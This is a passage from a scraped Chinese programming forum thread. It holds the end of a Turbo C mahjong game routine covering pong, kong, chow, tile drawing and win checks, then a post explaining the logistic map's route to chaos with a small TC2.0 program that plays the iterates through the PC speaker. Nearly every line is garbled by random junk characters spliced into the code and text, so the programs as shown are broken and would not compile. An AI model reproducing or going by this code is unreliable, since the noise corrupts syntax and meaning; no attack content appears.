1 `5 D6 u; ?. w* n}! b5 p5 a6 V0 h2 z
if(every==9)
5 F9 `2 U' I, K{
% ?  @( n/ e% S% ~" dx1=200;
! }7 r$ P) d9 h: ty1=165;
: g6 Z6 W6 R) l/ u3 xfillRectangle(x1,y1,x1+20,y1+4,0);5 q7 ^1 @( [5 g, i
}
" K, D2 C+ C, b' X3 G* I& mif(every==10)
4 G/ P7 f9 A1 ~- g- o{! z0 L0 ~9 }$ i# b2 }& r: T8 b
x1=220;
, A$ ]8 x/ ?  c  Oy1=165;
! s/ k7 b0 e/ YfillRectangle(x1,y1,x1+20,y1+4,0);
" q$ e) b, U  q! e/ r: V$ @}% L+ {/ X6 s/ P3 i( Q8 V  `5 V
if(every==11)3 X% x( y0 i" @1 T& f; H; Q; Z
{; O1 Q; P8 n5 ~3 l" {6 r( B) E" ?
x1=240;
# W1 z$ K  z5 s/ F8 ^: _y1=165;# t3 U; l) H* Y' ^7 D( D
fillRectangle(x1,y1,x1+20,y1+4,0);3 {4 m" o3 o! A( ]; `' y. t
}& B6 e8 A. y, b$ Y! K+ x  j4 g
if(every==12)
+ z# \+ u2 U. ^( J9 S  f{
+ o% w$ I8 ]6 ]) Wx1=260;
7 B6 X7 z; }& o: Q. j: Ny1=165;
; S2 [* O+ x8 p) `4 s& pfillRectangle(x1,y1,x1+20,y1+4,0);% N2 w8 {3 C/ V
}
% {" G& f. W, V. u, ^- I( w( M% u; k8 f
zz=0;
9 u+ S0 M! T/ _1 wevery++;
' j# O6 g( r3 j6 M5 qz=z+20;. L* p3 [4 g6 ]" N2 ?3 n( N& g. f
}
+ z" M$ X0 M, zshowbmp(every);0 \* h. v; B! }1 ]1 ?6 A
key=keyy;8 \! A1 C! u1 ^; X7 t
if(keyy==ENTER)
  i# |1 i6 c# N{: w2 L8 \& n6 ]/ Q
rgzn(every); /*********************/
- Y$ Z# [, u# Y5 ]( u  N2 W! Jif(sing==1) /*如果可以乓,做相应的处理*/
% B! \! V8 y- N) M# Y, _/ Q{
/ ^  d% z' c" G' G1 }& g. Hkkk=0;7 A. A$ X6 i4 q+ b, ]( ^. p- |5 C" C
kkkk=0;# g" v, c% a8 C2 e
while(kkk&lt;=computer.m)
- A$ i4 h: `7 \# f% }/ ?/ A: Q{
! d. f& [2 Q: b! Vif(computer.pp[kkk].p!=1)
6 I! `8 ~7 z0 d4 i4 U{
8 z+ w$ N2 V% Gcomp.pp[kkkk].k=computer.pp[kkk].k;: e  B9 i( t: T# [. b# |  d; v+ f
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
7 m- ?3 P- n5 w/ tcomp.pp[kkkk].number=computer.pp[kkk].number;
1 B# D5 h* Z% ]- [1 U' `0 [kkkk++;; A8 c1 c  M4 `( I3 Q
}4 P! T, {( ?( {3 k6 }. o5 P  `: s
else
2 N/ N4 @1 s; {$ J9 n) j( W& d{' x* _) l6 U' t7 @5 k+ S
m[computer.pp[kkk].number].data1=1;
- s7 |5 b1 }% Fdwei=computer.pp[kkk].number;
" b6 I3 K' w* R4 }: wcomputer.pp[kkk].p=0;
9 ~& D4 M& d# P* Y1 ?}
5 W& V2 B8 b5 M+ k/ I' lkkk++;, @: F6 J; W: s2 _" f7 z
}- B, C( b' B& s# _  x! C; ^
ll=0;- g3 |) ?9 p* s4 I' }/ v
  y* i. Y% |) ]# p, z1 k
while(ll&lt;3)
! o7 \5 K7 X) R5 O: M7 V5 Q3 W{ zl=zl+20;/ w1 f& N. c2 K8 R9 E  x+ b% h0 M
bmpp(dwei); /*显示乓的牌*/+ z, x! A* y3 }' C1 p5 U2 W
ll++;9 {7 m; ~: V' @# s
}0 T4 ^2 x6 u/ L
  y7 Z  z) K9 y5 S; C3 l3 [
zl=zl+9600-60;
& z4 ]2 |& W1 ^2 P9 o7 fkkk=0;
# s' c2 N: I* {7 kcomputer.m=computer.m-2;
8 f/ s: n. Q2 d1 a8 Zwhile(kkk&lt;=computer.m)
; }" b; ~3 @+ x/ I# d" }{( ?/ ?, |$ ?( {" ]
computer.pp[kkk].k=comp.pp[kkk].k;4 Y- y/ h+ n. K( h
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
5 s, _$ i9 L) }2 [* [9 Dcomputer.pp[kkk].number=comp.pp[kkk].number;* _4 @0 ?' L9 s
kkk++;* v4 I5 d  n7 z, X+ }9 C8 V& G
}
% s! i# k. O, B8 s: x5 Ill=0;
7 B. q# o1 I0 |5 {% wtemp=random(computer.m); /*出牌等待完善*/- ^5 W% p' C$ _; X; g
zyy=zyy+9280+20;, n( |5 N1 P& H& j; h
showcbmp(temp);; `4 a7 E$ Y9 m, I0 v1 C0 H
zyy=zyy-9280;
% o6 J9 m$ {+ u' M# |, r/*****/2 b: e6 ~9 ]% @4 p% s
rgznme(temp); & h5 X/ O' D, k$ h! M8 m" z
panduan();( i8 _7 }5 L7 h2 b
if(me.m==0): p% a, j, S7 E2 _; U7 }8 l
if(second==1 &amp;&amp; threes==0)
% t6 I# j0 E8 T. aprintf("you win!");5 b0 ]3 S, L6 n4 J
if(me.m==3)
- u/ ?) _. U0 z0 }  `/ U0 ~if(second==1 &amp;&amp; threes==1). c4 P4 k9 P9 w/ y
printf("you win!");5 U* X# I$ ~* v% _' N& d: p
if(me.m==6)
3 F! Z+ t! ~7 I5 x) k% q, P+ lif(second==1 &amp;&amp; threes==2)3 w3 N9 ^8 C9 s" C& h
printf("you win!");
4 X) i* g# K% e! A! j( t* u5 P6 a7 `if(me.m==9)" l9 S. N' d/ m+ [6 @# f/ B% B9 S' T' }
if(second==1 &amp;&amp; threes==3)
% c. v' f( X! r2 Nprintf("you win!");
! G" b/ {5 h* A. \) r: P0 n: iif(me.m==12)
: v1 N, y+ R3 p& G4 v" ^if(second==1 &amp;&amp; threes==4)/ t4 P& }* H6 _( o& B% ~! F
printf("you win!");, c; U% T6 [: T( p
: J- G0 k, k2 |; E2 l
kkk=0;" C: r6 C  B4 X7 d8 r2 U4 q, ^
kkkk=0;3 I" E9 D: W8 u1 v* w" V, }
while(kkk&lt;=computer.m)3 [3 l9 |4 q/ E2 p1 ~- i
{
" ?. w. R6 a9 [1 ~* t% C, hif(kkk!=temp)
+ T& b. Z0 c5 n& f{5 j5 O% D% ], O! Y* B4 q
comp.pp[kkkk].k=computer.pp[kkk].k;
" q* ?$ E& ~8 }( v  N8 r! T, v  Mcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;! P; S8 R$ l7 v. L9 p
comp.pp[kkkk].number=computer.pp[kkk].number;7 E" t7 b( S& j1 c! s9 I
kkkk++;
8 k- M( Y1 r4 V# R( n$ \# F, y- e}
7 s4 y- [' [% G$ b7 P6 delse
$ J0 n$ A# h2 E6 W2 D/ e# n8 hm[computer.pp[kkk].number].data1=1;
' U+ n5 U! o( M; D3 bkkk++;( f0 ?% }) {# F( _# _
}
( m6 n1 A, T+ ~& I1 w0 b" ?kkk=0;
  H. j4 \( o$ ]6 j8 Ycomputer.m=computer.m-1;
  F+ ]. U. ^# b# |) V# {* {3 Zwhile(kkk&lt;=computer.m)
: {5 }5 `% Q+ R{  I/ \& n( m' C" d7 }& P" |* m
computer.pp[kkk].k=comp.pp[kkk].k;
. v9 c, I- i. T# n. O8 @' d* \computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;  u" f0 l# ^; U) @' J
computer.pp[kkk].number=comp.pp[kkk].number;
% L5 C5 w4 k4 M, _8 lkkk++;
+ p) f7 v2 @! B0 v( T' Z}6 J+ [/ p; w" I8 I, Q' ?
fillRectangle(0,0,320,30,0);
2 m# q. e9 m* g4 B2 P8 e1 E1 `" V  _6 fn=computer.m;( J3 d+ L) d& @6 O$ R
ll=0;: Y$ h  S7 x* z+ y+ @
zy=0;
# a2 c4 _- L% c7 \while(ll&lt;=n)3 B# ]1 h' s# b. L: M9 x1 h
{* h* A5 z6 B1 j0 S8 ?7 d! q
zy=zy+20;% p2 d; h, ?/ R( w- l
showybmp(ll);
( n  z8 J0 P3 \. H; Hll++;; B8 t; X: c: N; X& H3 d* R9 b2 \
}. W6 H4 W$ {& A* Z7 e
ll=0;; S) C# Y- J; I' h
getch();
. V! f: r, e( E3 r! q7 t" O! n$ psing=0;. G' X9 ~+ j" I/ w; \  d9 p  c3 f
sing1=1;0 R# B' Q" B' T
}
3 \6 a4 d$ y" l
# S3 m9 }% `& _, W; Q1 cif(sing==2) /*如果可以杠的做相应处理*/
7 n/ C* j& |2 M' Y* q{
, |9 S$ q) O, f- hkkk=0;) N% Y$ c" C0 e1 H
kkkk=0;5 K# a2 u* i5 O5 `) p( s
while(kkk&lt;=computer.m)
9 T2 l5 L- o; l9 {) o{
1 j4 c1 O& U6 cif(computer.pp[kkk].g!=1)2 r0 {# e- ^0 C, v
{
2 ~( O, ]: s- a, _comp.pp[kkkk].k=computer.pp[kkk].k;4 Z+ b5 o6 E  D
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
3 @. o* @, l( ^9 w3 M' F- hcomp.pp[kkkk].number=computer.pp[kkk].number;! I9 ]  t$ I, R4 g. v1 G0 M
kkkk++;: m% e9 Q3 w1 d6 d, ?5 k# W
}
0 j' g$ V0 C; Ielse+ T4 s! H8 G' F- U% c
{* A+ j9 J" |( u* u3 k3 O3 M2 R2 ]
m[computer.pp[kkk].number].data1=1;
/ k- J3 S8 B0 {9 P$ E( }dweig=computer.pp[kkk].number;
; x5 `6 b4 ^2 S$ }2 fcomputer.pp[kkk].g=0;" E7 j7 w7 n1 h$ l6 t, `
}) z- F: n( P1 Y, S2 W2 R
kkk++;
8 }* w% r- d  o) [1 p( Z  R5 V}
0 V7 i- `0 s. x# w$ wll=0;
3 s0 ?; ^0 \+ Z% e
& i0 M8 o# r8 `+ jwhile(ll&lt;=3)
* ?! h" R% I; |# K, l{ zl=zl+20;
: k1 M8 ]1 d* u5 w  m/ qbmpp(dweig); /*显示杠的牌*/
  q, K9 b# |9 W" J7 X- T% hll++;
8 O! F5 @! [9 O* H- j% j' b}* j( Z* B( ~. X6 Q
zl=zl+9600-60;& x9 e$ ]. B/ B$ Z, x9 P
kkk=0;
1 A  H0 L( Y' P, f, d# }computer.m=computer.m-3;
: s* i1 _# Z0 i& l) u9 E4 Wwhile(kkk&lt;=computer.m)' z8 c) i1 T( J& N( ]% J4 H
{5 C6 ~1 W# ]% Z) f. `* H" F6 y6 _
computer.pp[kkk].k=comp.pp[kkk].k;
3 T+ o' o# m/ c! p1 F3 [$ X3 V4 `computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
% x5 V5 A  w& I; p" Icomputer.pp[kkk].number=comp.pp[kkk].number;
( p& e6 ?, A2 h( F0 [- Xkkk++;
( n4 S0 V% ?* I& Y% q9 c; s! u}% i- N6 G$ Q- Z. Q6 g
kk=0;
" m/ \  ]( A9 _& c" [: h% U: Ycomputer.m++; /*加一个牌的容量*/0 g5 d! y8 w4 W
while(kk!=1)
8 R6 x* [: e  {) y{4 P; {+ E/ ?! C" N5 U' ^
temp=random(136); /*出牌*/$ B2 j5 j% x) W, P7 r' |2 K5 u
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)2 ]& N5 d2 Z. k6 }- }
{# ~6 }9 L5 N) V) T7 O
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/" q% s" a5 i9 O/ v
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/' B; B7 a, I3 L9 n* a0 E- Y4 q. T
computer.pp[computer.m].number=temp; /*第几张,用来排序*/
; L1 O7 }7 z7 ?/ E! ~, d# |4 e) jm[temp].data2=2; /*判断牌是谁的,2为电脑*/
& ~; ~& L6 @, _: \6 K; D3 Dkk=1;
5 B, l3 l6 \: ~. y}$ R& a: r- d: ?5 ^. W
}
6 Z2 o2 n) I; F/ i) m' Ccomlipai();6 f/ E4 k" M" W- e9 Q& ~3 l
temp=random(computer.m); /*出牌,等待完善*/3 w7 m6 }( F+ U  W  f4 x
zyy=zyy+9280+20;
- w! B4 j+ O" r" qshowcbmp(temp);
% Q) e, s1 e4 _1 A7 g. ~  \zyy=zyy-9280;
! [+ D( Z% ~6 Z& M$ f5 n. B' F4 s/*****/
+ ^' ^/ B; r6 n) Q/ y5 Xrgznme(temp);
* ^0 A9 V! z4 C. ~panduan();! l9 D* v6 X& b$ G1 M
if(me.m==0)3 K" f4 [# D3 Q. Q" w- w  v
if(second==1 &amp;&amp; threes==0)
) z) i4 P# W+ P; Kprintf("you win!");) w: Y; |, z4 I0 W: X  [
if(me.m==3)
6 r) \7 I+ g: Bif(second==1 &amp;&amp; threes==1)
" e/ [7 i- u0 K1 x2 j$ N5 qprintf("you win!");0 ~; s" u9 k* b) L" h% A
if(me.m==6)
  W( x" g. t) {* aif(second==1 &amp;&amp; threes==2)- O+ w, J7 q  L  N6 M( ~6 N5 V
printf("you win!");1 r; L: C+ |; C3 a4 C0 h7 G
if(me.m==9)
  Q  e( R9 _% I8 ?if(second==1 &amp;&amp; threes==3)
; t1 {/ k( ]9 ~- o, cprintf("you win!");" S' R0 T" m  e
if(me.m==12)
* @# P5 |/ E& c  T& f0 lif(second==1 &amp;&amp; threes==4)
5 k$ N' r; B6 K6 zprintf("you win!");$ j  U2 N+ T" S1 `

& A+ b7 G, A1 c# ykkk=0;' v) ~/ \! Q8 o# v  ^
kkkk=0;
& D) P6 S0 E& i9 C% |while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/7 @5 ?  U& N3 U9 r
{
5 \2 o2 |3 O& i* Z3 u: u1 T' fif(kkk!=temp)6 v' e, v2 u$ N) Y% ?2 h4 v2 F
{
$ A2 h9 U6 k; E3 c5 Mcomp.pp[kkkk].k=computer.pp[kkk].k;
3 F4 s* f: m3 g( ^. @' r1 C5 Kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ u- p& r4 t) B$ i9 L( P& }8 Ocomp.pp[kkkk].number=computer.pp[kkk].number;
2 n. I& G) F# j. mkkkk++;
" t, Q* I1 @6 V$ I# o" O}0 I$ v) t  l$ ]
else  k! d1 L" u" O9 q
m[computer.pp[kkk].number].data1=1;" [) O& O1 w  C+ R$ S5 @* R( Y
kkk++;
- p& _- R9 D, _: M}* K. _+ b0 v( F) Q
kkk=0;0 g( @% h4 M' |5 I
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
6 P- X# G2 ^: Nwhile(kkk&lt;=computer.m) 2 _  x: g1 ^# r7 J- M2 Z& Q9 e
{
+ k1 Y- T6 x+ \( {& C3 `computer.pp[kkk].k=comp.pp[kkk].k;
2 H+ j# o' b- J: c, B  w1 Icomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' a- `7 ^  P8 L6 o! `, m$ acomputer.pp[kkk].number=comp.pp[kkk].number;9 R( h. x2 R8 y1 m" m& @
kkk++;0 l7 ]' g6 A6 T# U
}$ m3 G! m; m8 o* L" o6 K3 z
fillRectangle(0,0,320,30,0);9 K: I9 m0 [% S7 W) l3 t
ll=0;7 g; i7 ~, J* ^3 {; w9 W2 P
zy=0;3 v" o4 c, C5 i) u$ B
while(ll&lt;=computer.m)
& k7 g4 ?* P0 b7 S9 g7 I0 w1 g{
1 y( Q) F3 ?9 czy=zy+20;/ Y  t1 `+ C7 c
showybmp(ll);4 J2 X8 ?, B8 `& b, T; z
ll++;: a* i" d, F' V
}8 G$ [% d7 F7 x% a1 i6 M6 v3 h
sing=0;. L! J7 P/ g+ b3 ~, x
sing1=1;
; A" B+ I0 v6 X# o) B' W}6 r  H6 r: A2 K; S/ P' l, z
if(sing==7) /*如果可以吃的,做相应处理*/' _2 y! v% c1 u+ x* w. I% _; D
{ nn=0;# V1 J9 x& S2 R2 a
kkk=0;
- T! [6 Y6 L. F: s  t7 tkkkk=0;
" }2 c) @, E0 P# ~while(kkk&lt;=computer.m)4 _4 t! Z- k/ _& |. }  X
{
+ b- k6 o. Y; A& y. Y) ]" yif(computer.pp[kkk].c!=1)" v& z( i! W4 ^5 C
{7 {" u) a+ Q8 b4 d) o7 e
comp.pp[kkkk].k=computer.pp[kkk].k;
* v* w/ ?8 I2 @8 ]3 }comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
: [0 U9 k: E7 p( i5 \4 O) ycomp.pp[kkkk].number=computer.pp[kkk].number;
# U9 F  S; t0 n' c$ R, i9 {3 lkkkk++;4 v7 |7 h. L2 t( x$ h9 c! N: j; ^  j
}
& K- T6 v" [, z7 e$ }% |9 Relse& ?* r7 j. F% U# l
{$ d" P% J' Y# v/ M
m[computer.pp[kkk].number].data1=1;
2 H6 ]" i) ?4 D4 Rdw[nn++]=computer.pp[kkk].number;8 g. ?  o6 X& d! {% A
computer.pp[kkk].c=0;
" w% z# t. C* \: v+ x: ], a# `}. D3 I7 |8 n% @  R. j; z
kkk++;
7 ?- j' T3 K# R4 ]}
& n( W5 L, c5 z( \
# l" k" w. \0 p# T% \' Pif(me.pp[every].number&lt;dw[0])
. N9 X- \/ K' a2 L& I/ E{
% `$ j6 c1 Y9 s( l! b' Rdw[2]=dw[1];) _  Q4 _; y& C/ n  k; s
dw[1]=dw[0];
0 X5 H" K9 l# L% Udw[0]=me.pp[every].number;
5 A6 F$ r& {. y* H# A}) d8 L/ t8 z) S' b
if(me.pp[every].number&gt;dw[1])0 v) h  D) V% ^. N5 N
{
6 q# h1 Z2 U' E, Q) wdw[2]=me.pp[every].number;, M4 E7 Q: S% B
}: Y- |9 C) s, [- m+ v
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])/ X/ P& [* j$ x! L
{! O2 [9 b  T/ E6 m8 m# `6 v2 }
dw[2]=dw[1];8 y. c( k# T2 `( @2 M
dw[1]=me.pp[every].number;
0 D1 ^$ |0 Z5 R  ~8 W}
4 U& e( X8 G8 t- q4 o6 Hnn=0;, |6 g8 e: H, {! @/ j6 B
while(nn&lt;3)3 z! Y1 q9 g! i
{ zl=zl+20;
1 U  {( r- e6 F; y' w7 R2 [bmpp(dw[nn]); /*显示吃的牌*/
& C7 v5 {+ Z/ g* f/ T) c6 Unn++;& j: j5 v+ W; e+ C% R$ p
}
* p5 ~' V. `- q, B6 b: Wzl=zl+9600-60;
) C  J1 {  c, skkk=0;
, g. u# m4 n9 T( H* l2 w/ Gcomputer.m=computer.m-2;
* o  s% {1 H# P( @# y, o' Y4 Jwhile(kkk&lt;=computer.m)
" k/ p# ], Z& O{- O, o! {2 j* J5 o1 A7 P" h
computer.pp[kkk].k=comp.pp[kkk].k;
# k* o% i6 o+ ~) ]9 z- E6 Ucomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;. H+ E% n' X) h% K6 M
computer.pp[kkk].number=comp.pp[kkk].number;
: @# D4 x$ q" |/ {0 k! K0 Fkkk++;
# C) }+ A" N5 W+ H}
2 F9 C5 U1 y' m# Hll=0;/ J1 c* y( P2 N2 W+ g+ s) z! g* L+ |
temp=random(computer.m); /*出牌等待完善*/
' u- B5 |# A: ?. uzyy=zyy+9280+20;9 V2 X+ ^2 }5 j) K- f) I) S
showcbmp(temp);7 D: l$ n) C& M: j3 Y% n
zyy=zyy-9280;6 o5 t, ^2 _! ~6 }& C; J' {$ r
/*****/1 M& C) ?/ d1 l1 C3 \1 t
rgznme(temp);- r6 N  ]0 O2 F5 g/ H
panduan();$ I7 a! r/ O8 k1 Y& W9 k5 l' h4 m
if(me.m==0); P1 _6 ]! \( g7 }* t4 |
if(second==1 &amp;&amp; threes==0): v! E0 I' g6 w2 E
printf("you win!");
" d' `* p: [, h5 ]1 Aif(me.m==3)# y% M: }$ N5 ^; R9 _) u; J6 T0 ^
if(second==1 &amp;&amp; threes==1)0 @- w& W# N1 s2 L9 A; l2 A$ R
printf("you win!");) o& T+ w) T: P; Q$ f( W1 T
if(me.m==6)4 k: D# ?" [" p; z* `
if(second==1 &amp;&amp; threes==2)
4 e- ^7 r" ]+ v5 ]" ]1 Mprintf("you win!");
  v, H5 A+ V- gif(me.m==9)+ j4 W0 F( k( C9 o- Z
if(second==1 &amp;&amp; threes==3)6 A" f& b' @8 H- y9 K7 Q4 R8 `
printf("you win!");
+ b: E0 P" i  w% Pif(me.m==12)
0 Q: E3 k5 x: Q" G3 a2 _if(second==1 &amp;&amp; threes==4)
9 _9 J+ l* ~) Aprintf("you win!");
) ?8 k( p& V4 ]$ l( N& g! K* C$ Z+ @( [7 H3 \
kkk=0;: I, O& h2 {2 V4 Q
kkkk=0;) e) X: l3 A5 a; C
while(kkk&lt;=computer.m)
: t) F* E2 \# x1 o( R{- c( j* d* S& B: Y7 U/ f+ p
if(kkk!=temp)7 u. L4 w" [5 m  N
{
" D2 |( h$ d, l: P/ n6 p! S5 f. M: d8 lcomp.pp[kkkk].k=computer.pp[kkk].k;
% h% N( {! p) X9 icomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
& P  ?4 H3 f2 j" r, j9 `# Z1 gcomp.pp[kkkk].number=computer.pp[kkk].number;4 V0 G; {- [. t: I- j  J- ]" y" O
kkkk++;. U" i( G6 x1 ?2 X& f
}
/ `8 H5 e& l3 C! |else) y+ y" z8 \0 E! _
m[computer.pp[kkk].number].data1=1;7 i: V& |: R* u, n! W
kkk++;
. U7 W- a4 |( X$ E' K: j}
: x# }& Q. _5 B4 ?kkk=0;# R( B; s! ?! B' |4 q+ d# K
computer.m=computer.m-1;( |" k* V6 ~' q/ L+ t& W3 J
while(kkk&lt;=computer.m)
$ ^' b' T( Z2 O+ Z{2 |+ V& r5 I5 c0 _$ ~$ E
computer.pp[kkk].k=comp.pp[kkk].k;
2 @( @# ^3 d: W3 Ccomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;/ Y2 a0 S. |3 b* ~) T' B# o& w
computer.pp[kkk].number=comp.pp[kkk].number;
. [7 d; q, E6 h7 E) R  H- q1 vkkk++;
, u6 d  ?; P& I' n  \}
& b5 e- h# R  ]# S* N  U. m  C5 zfillRectangle(0,0,320,30,0);
. i7 ]5 g. s$ D" vn=computer.m;
8 N5 N& G! D& All=0;
& O) y$ G9 z# n0 y9 a1 Z* \' F1 r0 ]zy=0;9 x- n# k3 n5 [8 K6 }7 U6 G1 Y
while(ll&lt;=n)6 w9 L5 x4 }$ M) A
{
8 U' A  ]. c0 z7 k& ]2 O# wzy=zy+20;- `. d1 J, a. k. J; r
showybmp(ll);
- `; n9 `: Q- i  ^; _9 Sll++;6 r( R! w3 R; v% r: N& \  o+ Z) e) r
}
* ~) Z4 l1 d3 H9 Y+ T
1 U8 {0 R) s5 [% t. @# ygetch();$ V+ {1 e. ~4 L- I; w+ v
sing=0;
) \. T; p( h8 l$ N; Dsing1=1;
$ l+ [% v2 `- K/ q0 L}
$ B7 d$ c1 x2 {! qif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
! R6 `- ^, @9 ]( w) y* K{1 C( c2 \. n: S0 o: [" r. H
kk=0;
+ t5 J7 h  c: Q* `  Eh=me.pp[every].number;( g" @" i6 u  m- N7 j0 D; e6 C5 P8 z2 s
m[h].data1=1; /*此牌已经无用*/9 F8 l0 n4 a6 e, b' Y0 x8 O
if(sing1!=1)) R3 ?; S* G  k
{: z+ L- G/ e, C, r* q! U
zyy=zyy+9280+20;
! K- k4 ~( l/ F7 {- C4 D9 vshowbmpd(every);- ]2 H/ ~9 S/ f" ?: b4 c
zyy=zyy-9280;8 a. Y) C/ [+ m. T6 J( r
}4 m) S- N( z- C& w& D3 g
while(kk!=1)8 l$ D* f5 h7 W* R3 T
{- T( _4 e) F$ M" R; l" |
temp=random(136);
* I7 s8 x* U$ [7 Dif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
' u  e9 A0 e! n; p9 j) O. r4 S{
; @7 H  L. ?# j3 \5 ~3 w* Bme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/: d$ v" Z- W/ z% x7 R/ Q
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
* K* d+ D5 K( l( z$ d9 C, Zme.pp[every].number=temp; /*第几张,用来排序*/
, `5 [' _7 M0 y- |/ I. P; Om[temp].data2=1; /*判断牌是谁的*/. Z' i1 k2 F+ M; n6 U
kk=1;0 L* x0 r9 l0 c) U  J; z
}
% y) r  g9 X6 m4 f# zif(kk==0) /*判断如果又选择了,就从新再选*/
" ]5 w) c4 [. r$ R$ r/ okk=0;
( N: ~( V2 N) I3 [2 w}
- U% g' l4 O- ^3 Q0 f/ v; G- C: Z}/ p# d4 Z% l$ j$ q" I
sing=0;
) ~& [9 |' t4 Nsing1=0;3 V. b  r- o) `5 t
melipai();! ^8 _" Q, i# D3 B4 U7 t
n=13;
' j; c) Q- _4 d, J) i9 Fz1=54400;
% m4 i; M( z8 X4 v4 xl=0;, p  U4 x5 c# R! W3 {/ {1 M% Z/ D
g=z;
1 W% u0 `- l. F3 P7 X) ?7 O5 hwhile(l&lt;n)
7 ~: D7 b$ c1 ^. U{ z=0;( t! h# g( O! L9 X) b
z1=z1+20;
8 ^7 }5 {$ p" L" X# L/ a# E1 @8 Vshowbmp(l);8 L8 m' V/ \( @+ v5 l, A
l++;% v- n8 T7 u0 z8 j( W
}
2 C9 g( I; c4 r' I6 t: ?4 u8 fz1=0;
; t! C% B; {. H! T4 H% V1 `z=g;0 h" e/ C( ^) B5 ~" u4 V1 x8 B
}& x( @+ B# U: n/ M: R6 @5 I
keyy=0;
0 A  H) i- b# c) p4 t- M}- P, c' v% d/ ]
' W: \5 i' H/ H$ X  z, x
getch();
1 [# ], X- Q  [- xOUTVGA;
; O7 b4 X3 {6 [( h}
" z$ m0 Q; I6 _' o; z$ u# M</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
. q: F) C+ S" U</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
1 G$ D4 W, ]7 v) s+ n, ~7 L9 a% O/ [/ M# S' D8 o" X( D
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。- e2 |7 H* M. _/ N: J
  <FONT color=#009900>#include <DOS.H>
# t0 ~5 m+ w/ o. k# r  #include <STDIO.H>, r0 Q2 _7 B5 }. r1 }$ W& V+ @& ]
  main(){  J+ D; c/ _6 n
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
9 ]4 [% l1 x0 K% l! @' k* \  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
# m+ x- @, P* f3 F3 `8 r7 k7 p  /*i,j用于循环记数*/
4 x, v# U- |- t3 F( V; g! Z  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/% e# j6 e# `: T* z% c4 ~  S
  fDis=fMax-fMin;
9 R0 b* {8 q' c$ S) g% _6 a  for(j=1;;j++){% A( Z' J; {, M; ~# y9 b
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
8 J" \  R5 `0 p( ]) a  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
: U: {: ^7 O; c% A) A2 V% o  scanf("%f",&k);
+ K. m. x% a1 L. D' _/ l  if (k==0) break;0 u3 p9 n' H- m6 Q' j) N
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/  e' Q( o9 z' ^7 Q9 k
  x=k*x*(1-x);
" C: f' W5 l2 G" o& o4 W' O  for (i=1;i&lt;100;i++){
( v  R$ d4 D4 c* l* Q) J+ d6 o  x=k*x*(1-x); /*计算x的值*/0 s; f+ L; V+ M0 c, h
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
7 e( L4 B5 h* |* r$ N, W% N4 `  delay(1000); }3 ?* l& `* C  M0 v# ~" C; r
  nosound(); }}% g0 D5 f7 Y, J8 f$ z8 b1 _; Z
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
( i9 A, Q+ J5 i不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
